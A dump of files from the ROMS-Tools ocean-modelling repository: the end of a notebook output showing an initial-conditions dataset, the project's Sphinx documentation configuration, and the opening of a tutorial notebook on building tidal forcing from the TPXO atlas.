</td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line 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for='data-9825f28f-49c1-4ccc-bf5a-7280162369dc' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>diazotroph phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray 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xlink:href='#icon-file-text2'></use></svg></label><input id='data-7a7ba8e6-3f65-4c8a-8005-d04920a9febe' class='xr-var-data-in' type='checkbox'><label for='data-7a7ba8e6-3f65-4c8a-8005-d04920a9febe' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>diazotroph iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" font-weight=\"100\" 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type='checkbox' ><label for='attrs-bce5433b-2863-4829-a674-91de875ce5bc' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-4a0861c6-f4e0-413b-aa7f-52dbdd3f5ecc' class='xr-var-data-in' type='checkbox'><label for='data-4a0861c6-f4e0-413b-aa7f-52dbdd3f5ecc' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>small phytoplankton CaCO3</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" 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xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-708a1be8-f978-4d7b-864e-1e91d0b5f535' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-708a1be8-f978-4d7b-864e-1e91d0b5f535' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-e829fe75-d158-4e5f-8478-23c55568b9b1' class='xr-var-data-in' type='checkbox'><label for='data-e829fe75-d158-4e5f-8478-23c55568b9b1' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>zooplankton carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 113 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", 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x2=\"164\" y2=\"189\" style=\"stroke-width:2\" />\n", " <line x1=\"284\" y1=\"69\" x2=\"284\" y2=\"189\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"164.20415224913495,69.20415224913495 284.20415224913495,69.20415224913495 284.20415224913495,189.20415224913495 164.20415224913495,189.20415224913495\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"224.204152\" y=\"209.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"304.204152\" y=\"129.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,304.204152,129.204152)\">102</text>\n", " <text x=\"119.602076\" y=\"174.602076\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,119.602076,174.602076)\">100</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>w</span></div><div class='xr-var-dims'>(ocean_time, s_w, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>0.0 0.0 0.0 0.0 ... 0.0 0.0 0.0 0.0</div><input id='attrs-2d874add-bcef-4cd8-b864-23a97dd6a37a' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-2d874add-bcef-4cd8-b864-23a97dd6a37a' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-2f4f43c4-2ea8-40da-84f7-26a5d27496a5' class='xr-var-data-in' type='checkbox'><label for='data-2f4f43c4-2ea8-40da-84f7-26a5d27496a5' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>w-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><pre>array([[[[0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " ...,\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.]],\n", "\n", " [[0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " ...,\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.]],\n", "\n", " [[0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " ...,\n", "...\n", " ...,\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.]],\n", "\n", " [[0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " ...,\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.]],\n", "\n", " [[0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " ...,\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.],\n", " [0., 0., 0., ..., 0., 0., 0.]]]], dtype=float32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Cs_r</span></div><div class='xr-var-dims'>(s_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>-0.992 -0.9753 ... -9.874e-06</div><input id='attrs-440cab66-b1f9-4589-829c-6e55c043f04d' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-440cab66-b1f9-4589-829c-6e55c043f04d' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-c01b1f64-9f51-46ba-b66b-73db3693d71b' class='xr-var-data-in' type='checkbox'><label for='data-c01b1f64-9f51-46ba-b66b-73db3693d71b' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>S-coordinate stretching curves at rho-points</dd><dt><span>units :</span></dt><dd>nondimensional</dd></dl></div><div class='xr-var-data'><pre>array([-9.91966903e-01, -9.75310326e-01, -9.57903922e-01, -9.39797223e-01,\n", " -9.21044052e-01, -9.01701748e-01, -8.81830335e-01, -8.61491978e-01,\n", " -8.40749860e-01, -8.19667757e-01, -7.98309207e-01, -7.76737094e-01,\n", " -7.55012929e-01, -7.33196437e-01, -7.11345196e-01, -6.89514160e-01,\n", " -6.67755604e-01, -6.46118581e-01, -6.24649167e-01, -6.03389859e-01,\n", " -5.82379997e-01, -5.61655402e-01, -5.41248500e-01, -5.21188438e-01,\n", " -5.01500964e-01, -4.82208848e-01, -4.63331670e-01, -4.44886118e-01,\n", " -4.26886171e-01, -4.09343123e-01, -3.92265856e-01, -3.75660986e-01,\n", " -3.59532982e-01, -3.43884379e-01, -3.28715861e-01, -3.14026594e-01,\n", " -2.99814165e-01, -2.86074877e-01, -2.72803813e-01, -2.59995013e-01,\n", " -2.47641608e-01, -2.35735863e-01, -2.24269405e-01, -2.13233232e-01,\n", " -2.02617854e-01, -1.92413345e-01, -1.82609484e-01, -1.73195779e-01,\n", " -1.64161548e-01, -1.55495971e-01, -1.47188202e-01, -1.39227331e-01,\n", " -1.31602496e-01, -1.24302894e-01, -1.17317833e-01, -1.10636741e-01,\n", " -1.04249209e-01, -9.81450155e-02, -9.23141390e-02, -8.67467746e-02,\n", " -8.14333707e-02, -7.63645992e-02, -7.15314075e-02, -6.69250041e-02,\n", " -6.25368580e-02, -5.83587363e-02, -5.43826595e-02, -5.06009422e-02,\n", " -4.70061824e-02, -4.35912535e-02, -4.03493047e-02, -3.72737721e-02,\n", " -3.43583524e-02, -3.15970331e-02, -2.89840512e-02, -2.65139174e-02,\n", " -2.41813995e-02, -2.19815224e-02, -1.99095625e-02, -1.79610383e-02,\n", " -1.61317140e-02, -1.44175906e-02, -1.28148990e-02, -1.13201011e-02,\n", " -9.92987957e-03, -8.64113960e-03, -7.45099736e-03, -6.35678275e-03,\n", " -5.35603240e-03, -4.44648601e-03, -3.62608512e-03, -2.89296708e-03,\n", " -2.24546436e-03, -1.68210152e-03, -1.20159215e-03, -8.02837836e-04,\n", " -4.84925782e-04, -2.47127580e-04, -8.88979121e-05, -9.87376825e-06],\n", " dtype=float32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Cs_w</span></div><div class='xr-var-dims'>(s_w)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>-1.0 -0.9837 ... -3.95e-05 0.0</div><input id='attrs-ee64f132-72ee-4026-aead-a00ac7bfc580' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-ee64f132-72ee-4026-aead-a00ac7bfc580' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-b0ac2e34-a09a-4daf-8fcf-9bef9bbf9801' class='xr-var-data-in' type='checkbox'><label for='data-b0ac2e34-a09a-4daf-8fcf-9bef9bbf9801' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>S-coordinate stretching curves at w-points</dd><dt><span>units :</span></dt><dd>nondimensional</dd></dl></div><div class='xr-var-data'><pre>array([-1.0000000e+00, -9.8373526e-01, -9.6669787e-01, -9.4893485e-01,\n", " -9.3049794e-01, -9.1144282e-01, -8.9182830e-01, -8.7171561e-01,\n", " -8.5116738e-01, -8.3024728e-01, -8.0901909e-01, -7.8754598e-01,\n", " -7.6589024e-01, -7.4411261e-01, -7.2227168e-01, -7.0042384e-01,\n", " -6.7862266e-01, -6.5691894e-01, -6.3536018e-01, -6.1399072e-01,\n", " -5.9285146e-01, -5.7197994e-01, -5.5141032e-01, -5.3117341e-01,\n", " -5.1129663e-01, -4.9180421e-01, -4.7271729e-01, -4.5405400e-01,\n", " -4.3582967e-01, -4.1805691e-01, -4.0074578e-01, -3.8390404e-01,\n", " -3.6753717e-01, -3.5164866e-01, -3.3624011e-01, -3.2131144e-01,\n", " -3.0686098e-01, -2.9288566e-01, -2.7938116e-01, -2.6634204e-01,\n", " -2.5376186e-01, -2.4163328e-01, -2.2994828e-01, -2.1869811e-01,\n", " -2.0787355e-01, -1.9746487e-01, -1.8746199e-01, -1.7785452e-01,\n", " -1.6863190e-01, -1.5978335e-01, -1.5129805e-01, -1.4316508e-01,\n", " -1.3537359e-01, -1.2791272e-01, -1.2077171e-01, -1.1393995e-01,\n", " -1.0740692e-01, -1.0116233e-01, -9.5196031e-02, -8.9498125e-02,\n", " -8.4058918e-02, -7.8868978e-02, -7.3919117e-02, -6.9200397e-02,\n", " -6.4704172e-02, -6.0422052e-02, -5.6345928e-02, -5.2467976e-02,\n", " -4.8780646e-02, -4.5276675e-02, -4.1949075e-02, -3.8791135e-02,\n", " -3.5796430e-02, -3.2958798e-02, -3.0272348e-02, -2.7731461e-02,\n", " -2.5330773e-02, -2.3065183e-02, -2.0929839e-02, -1.8920140e-02,\n", " -1.7031731e-02, -1.5260493e-02, -1.3602542e-02, -1.2054225e-02,\n", " -1.0612117e-02, -9.2730094e-03, -8.0339154e-03, -6.8920576e-03,\n", " -5.8448706e-03, -4.8899921e-03, -4.0252637e-03, -3.2487246e-03,\n", " -2.5586106e-03, -1.9533504e-03, -1.4315632e-03, -9.9205703e-04,\n", " -6.3382636e-04, -3.5605079e-04, -1.5809362e-04, -3.9500741e-05,\n", " 0.0000000e+00], dtype=float32)</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-5fa47b11-e711-4b16-8b0a-d6da951cb327' class='xr-section-summary-in' type='checkbox' ><label for='section-5fa47b11-e711-4b16-8b0a-d6da951cb327' class='xr-section-summary' >Indexes: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-index-name'><div>ocean_time</div></div><div class='xr-index-preview'>PandasIndex</div><div></div><input id='index-334a67ea-8f7a-4ca1-81be-0b68cc52dbc1' class='xr-index-data-in' type='checkbox'/><label for='index-334a67ea-8f7a-4ca1-81be-0b68cc52dbc1' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([378820800.0], dtype=&#x27;float64&#x27;, name=&#x27;ocean_time&#x27;))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-a5cbff66-bf22-40b7-8172-bcd1c71a6fc5' class='xr-section-summary-in' type='checkbox' checked><label for='section-a5cbff66-bf22-40b7-8172-bcd1c71a6fc5' class='xr-section-summary' >Attributes: <span>(9)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS initial conditions file created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>ini_time :</span></dt><dd>2012-01-02 00:00:00</dd><dt><span>model_reference_date :</span></dt><dd>2000-01-01 00:00:00</dd><dt><span>source :</span></dt><dd>GLORYS</dd><dt><span>bgc_source :</span></dt><dd>CESM_REGRIDDED</dd><dt><span>theta_s :</span></dt><dd>5.0</dd><dt><span>theta_b :</span></dt><dd>2.0</dd><dt><span>hc :</span></dt><dd>300.0</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 154MB\n", "Dimensions: (ocean_time: 1, s_rho: 100, eta_rho: 102, xi_rho: 102,\n", " xi_u: 101, eta_v: 101, s_w: 101)\n", "Coordinates:\n", " abs_time (ocean_time) datetime64[ns] 8B 2012-01-02T12:00:00\n", " * ocean_time (ocean_time) float64 8B 3.788e+08\n", "Dimensions without coordinates: s_rho, eta_rho, xi_rho, xi_u, eta_v, s_w\n", "Data variables: (12/42)\n", " temp (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array<chunksize=(1, 100, 102, 102), meta=np.ndarray>\n", " salt (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array<chunksize=(1, 100, 102, 102), meta=np.ndarray>\n", " u (ocean_time, s_rho, eta_rho, xi_u) float32 4MB dask.array<chunksize=(1, 100, 102, 101), meta=np.ndarray>\n", " v (ocean_time, s_rho, eta_v, xi_rho) float32 4MB dask.array<chunksize=(1, 100, 101, 102), meta=np.ndarray>\n", " zeta (ocean_time, eta_rho, xi_rho) float32 42kB -0.4969 ... -0.9301\n", " ubar (ocean_time, eta_rho, xi_u) float32 41kB dask.array<chunksize=(1, 102, 101), meta=np.ndarray>\n", " ... ...\n", " diazFe (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array<chunksize=(1, 100, 102, 102), meta=np.ndarray>\n", " spCaCO3 (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array<chunksize=(1, 100, 102, 102), meta=np.ndarray>\n", " zooC (ocean_time, s_rho, eta_rho, xi_rho) float32 4MB dask.array<chunksize=(1, 100, 102, 102), meta=np.ndarray>\n", " w (ocean_time, s_w, eta_rho, xi_rho) float32 4MB 0.0 0.0 ... 0.0\n", " Cs_r (s_rho) float32 400B -0.992 -0.9753 ... -8.89e-05 -9.874e-06\n", " Cs_w (s_w) float32 404B -1.0 -0.9837 -0.9667 ... -3.95e-05 0.0\n", "Attributes:\n", " title: ROMS initial conditions file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " ini_time: 2012-01-02 00:00:00\n", " model_reference_date: 2000-01-01 00:00:00\n", " source: GLORYS\n", " bgc_source: CESM_REGRIDDED\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0" ] }, "execution_count": 33, "metadata": {}, "output_type": "execute_result" } ], "source": [ "the_same_initial_conditions_with_bgc.ds" ] }, { "cell_type": "code", "execution_count": null, "id": "96ac3080-211b-4464-9970-418acfb36e81", "metadata": {}, "outputs": [], "source": [] }, { "cell_type": "code", "execution_count": null, "id": "7bd8a8a1-41a1-49e6-8097-7b68db55bb12", "metadata": {}, "outputs": [], "source": [] }, { "cell_type": "code", "execution_count": null, "id": "a5f47b6d-e580-43fe-9694-9921259519fa", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "romstools", "language": "python", "name": "romstools" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.12.7" } }, "nbformat": 4, "nbformat_minor": 5 }
2,776,551
Python
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240.399696
343,494
0.844967
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,735
conf.py
CWorthy-ocean_roms-tools/docs/conf.py
# Configuration file for the Sphinx documentation builder. # # For the full list of built-in configuration values, see the documentation: # https://www.sphinx-doc.org/en/master/usage/configuration.html # -- Project information ----------------------------------------------------- # https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information import os import sys sys.path.insert(0, os.path.abspath("../")) project = "ROMS-Tools" copyright = "2024, ROMS-Tools developers" author = "ROMS-Tools developers" # -- General configuration --------------------------------------------------- # https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration extensions = [ "sphinx.ext.autodoc", "sphinx.ext.autosummary", "sphinx.ext.napoleon", "nbsphinx", "sphinxcontrib.bibtex", ] numpydoc_show_class_members = True napolean_google_docstring = False napolean_numpy_docstring = True templates_path = ["_templates"] exclude_patterns = [] # exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] napoleon_custom_sections = [ ("Returns", "params_style"), ("Sets Attributes", "params_style"), ("Required Parameter Sections", "params_style"), ("Assumptions", "notes_style"), ("Example Config YAML File", "example"), ] # -- Options for HTML output ------------------------------------------------- # https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output html_theme = "sphinx_book_theme" # html_theme = 'alabaster' html_static_path = ["_static"] bibtex_bibfiles = ["references.bib"] bibtex_reference_style = "author_year" html_theme_options = { "repository_url": "https://github.com/CWorthy-ocean/roms-tools", "use_repository_button": True, }
1,765
Python
.py
45
36.844444
87
0.669988
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,736
tides.ipynb
CWorthy-ocean_roms-tools/docs/tides.ipynb
{ "cells": [ { "cell_type": "markdown", "id": "b18d3444-3999-4ead-b2aa-e4b468ef2499", "metadata": {}, "source": [ "# Creating the tidal forcing" ] }, { "cell_type": "code", "execution_count": 1, "id": "b1c20782-4612-49a2-9076-bfe570ed4379", "metadata": { "tags": [] }, "outputs": [], "source": [ "from roms_tools import Grid" ] }, { "cell_type": "markdown", "id": "0c3cd5fd-fbe0-42f9-acfe-1c227fd492ef", "metadata": {}, "source": [ "We first create our grid object. Note that it is important to use the same grid throughout all the steps (i.e., creating tidal forcing, atmospheric forcing, initial conditions, etc.) to set up a consistent ROMS simulation. Here we use the following grid." ] }, { "cell_type": "code", "execution_count": 2, "id": "12034bd1-eea7-4a40-b2c6-f4bdd9a9015d", "metadata": { "tags": [] }, "outputs": [], "source": [ "grid = Grid(\n", " nx=100, ny=100, size_x=1800, size_y=2400, center_lon=-10, center_lat=61, rot=-20\n", ")" ] }, { "cell_type": "markdown", "id": "f3e67217-b2d3-4259-8a53-7a98635a5ecd", "metadata": {}, "source": [ "Given our grid, our goal is now to create the necessary tidal forcing fields to run a ROMS simulation.\n", "\n", "The tidal forcing is based on the TPXO atlas, which sits on perlmutter at the following location." ] }, { "cell_type": "code", "execution_count": 9, "id": "45713481-311f-4d76-90cd-ce7bf5c86633", "metadata": { "tags": [] }, "outputs": [], "source": [ "path = \"/global/cfs/projectdirs/m4746/Datasets/TPXO/tpxo9.v2a.nc\"" ] }, { "cell_type": "markdown", "id": "862b5bdf-82e7-4535-8b2c-b38997ac8dff", "metadata": {}, "source": [ "You can also download your own version from https://www.tpxo.net/global. Note that ROMS-Tools currently only supports the TPXO9v2 version.\n", "\n", "We now create our tidal forcing for a model reference date of January 1st, 2000." ] }, { "cell_type": "code", "execution_count": 10, "id": "14559a99-54c0-493b-8f47-50984efbe339", "metadata": { "tags": [] }, "outputs": [], "source": [ "from roms_tools import TidalForcing" ] }, { "cell_type": "code", "execution_count": 11, "id": "cdd4b18f-283a-42cf-950a-4c370404a356", "metadata": { "tags": [] }, "outputs": [], "source": [ "from datetime import datetime" ] }, { "cell_type": "code", "execution_count": 12, "id": "d609209d-afb3-4586-b2da-f449353a7683", "metadata": { "tags": [] }, "outputs": [], "source": [ "model_reference_date = datetime(2000, 1, 1)" ] }, { "cell_type": "code", "execution_count": 13, "id": "2298453f-b2ac-422f-b629-d46ecea49d49", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 1min 44s, sys: 576 ms, total: 1min 45s\n", "Wall time: 5.39 s\n" ] } ], "source": [ "%%time\n", "\n", "tidal_forcing = TidalForcing(\n", " grid=grid,\n", " source={\"name\": \"TPXO\", \"path\": path},\n", " ntides=10, # number of constituents to consider <= 14. Default is 10.\n", " allan_factor=2.0, # Allan factor. Default is 2.0.\n", " model_reference_date=model_reference_date, # Model reference date. Default is January 1, 2000.\n", " use_dask=True,\n", ")" ] }, { "cell_type": "markdown", "id": "6b5df8e5-4dcf-4a12-9932-f3bbc77bfc75", "metadata": {}, "source": [ "To see the values of the tidal forcing variables we can examine the `xarray.Dataset` object returned by the `.ds` property." ] }, { "cell_type": "code", "execution_count": 14, "id": "ed32efd3-a919-426f-b7e7-a554fd114ef8", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol id=\"icon-database\" viewBox=\"0 0 32 32\">\n", "<path d=\"M16 0c-8.837 0-16 2.239-16 5v4c0 2.761 7.163 5 16 5s16-2.239 16-5v-4c0-2.761-7.163-5-16-5z\"></path>\n", "<path d=\"M16 17c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", "<path d=\"M16 26c-8.837 0-16-2.239-16-5v6c0 2.761 7.163 5 16 5s16-2.239 16-5v-6c0 2.761-7.163 5-16 5z\"></path>\n", "</symbol>\n", "<symbol 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".xr-array-preview,\n", ".xr-array-data {\n", " padding: 0 5px !important;\n", " grid-column: 2;\n", "}\n", "\n", ".xr-array-data,\n", ".xr-array-in:checked ~ .xr-array-preview {\n", " display: none;\n", "}\n", 